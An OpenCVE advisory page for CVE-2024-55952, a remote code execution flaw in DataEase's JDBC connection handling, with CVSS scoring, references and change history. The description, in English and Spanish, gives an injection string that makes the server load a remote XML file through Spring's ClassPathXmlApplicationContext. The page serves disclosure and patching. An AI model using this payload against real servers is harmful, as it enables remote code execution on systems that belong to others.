CVE-2024-55952

  1. OpenCVE
  2. Vulnerabilities (CVE)
  3. CVE-2024-55952
DataEase is an open source business analytics tool. Authenticated users can remotely execute code through the backend JDBC connection. When constructing the jdbc connection string, the parameters are not filtered. Constructing the host as ip:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://ip:5432/1.xml&a= can trigger the ClassPathXmlApplicationContext construction method. The vulnerability has been fixed in v1.18.27. Users are advised to upgrade. There are no known workarounds for this vulnerability.

8.8 /10

CVSS v3 : HIGH

V3 Legend

Vector :

Exploitability : 2.8 / Impact : 5.9

Attack Vector NETWORK

Attack Complexity LOW

Privileges Required LOW

User Interaction NONE

Confidentiality Impact HIGH

Integrity Impact HIGH

Availability Impact HIGH

Scope UNCHANGED

References
Link Resource
https://github.com/dataease/dataease/commit/0db4872a52eccf6e83dd9359aa05db52dd580ec1 Patch
https://github.com/dataease/dataease/security/advisories/GHSA-w8qm-xw38-93qw Exploit Vendor Advisory
Configurations

Configuration 1 (hide)

cpe:2.3:a:dataease:dataease:*:*:*:*:*:*:*:*
History

20 Feb 2025, 16:22

Type Values Removed Values Added
CWE NVD-CWE-noinfo
CVSS v2 : unknown
v3 : unknown 		v2 : unknown
v3 : 8.8
CPE cpe:2.3:a:dataease:dataease:*:*:*:*:*:*:*:*
First Time Dataease
Dataease dataease
References () https://github.com/dataease/dataease/commit/0db4872a52eccf6e83dd9359aa05db52dd580ec1 - () https://github.com/dataease/dataease/commit/0db4872a52eccf6e83dd9359aa05db52dd580ec1 - Patch
References () https://github.com/dataease/dataease/security/advisories/GHSA-w8qm-xw38-93qw - () https://github.com/dataease/dataease/security/advisories/GHSA-w8qm-xw38-93qw - Exploit, Vendor Advisory
Summary
  • (es) DataEase es una herramienta de análisis empresarial de código abierto. Los usuarios autenticados pueden ejecutar código de forma remota a través de la conexión JDBC de backend. Al construir la cadena de conexión JDBC, los parámetros no se filtran. Construir el host como ip:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://ip:5432/1.xml&a= puede activar el método de construcción ClassPathXmlApplicationContext. La vulnerabilidad se ha corregido en la versión v1.18.27. Se recomienda a los usuarios que actualicen la versión. No existen workarounds conocidos para esta vulnerabilidad.

18 Dec 2024, 19:15

Type Values Removed Values Added
New CVE
Information

Published : 2024-12-18 19:15

Updated : 2025-02-20 16:22

NVD link : CVE-2024-55952

Mitre link : CVE-2024-55952

CVE.ORG link : CVE-2024-55952

JSON object : View

Products Affected

dataease

  • dataease
CWE
CWE-20

Improper Input Validation

NVD-CWE-noinfo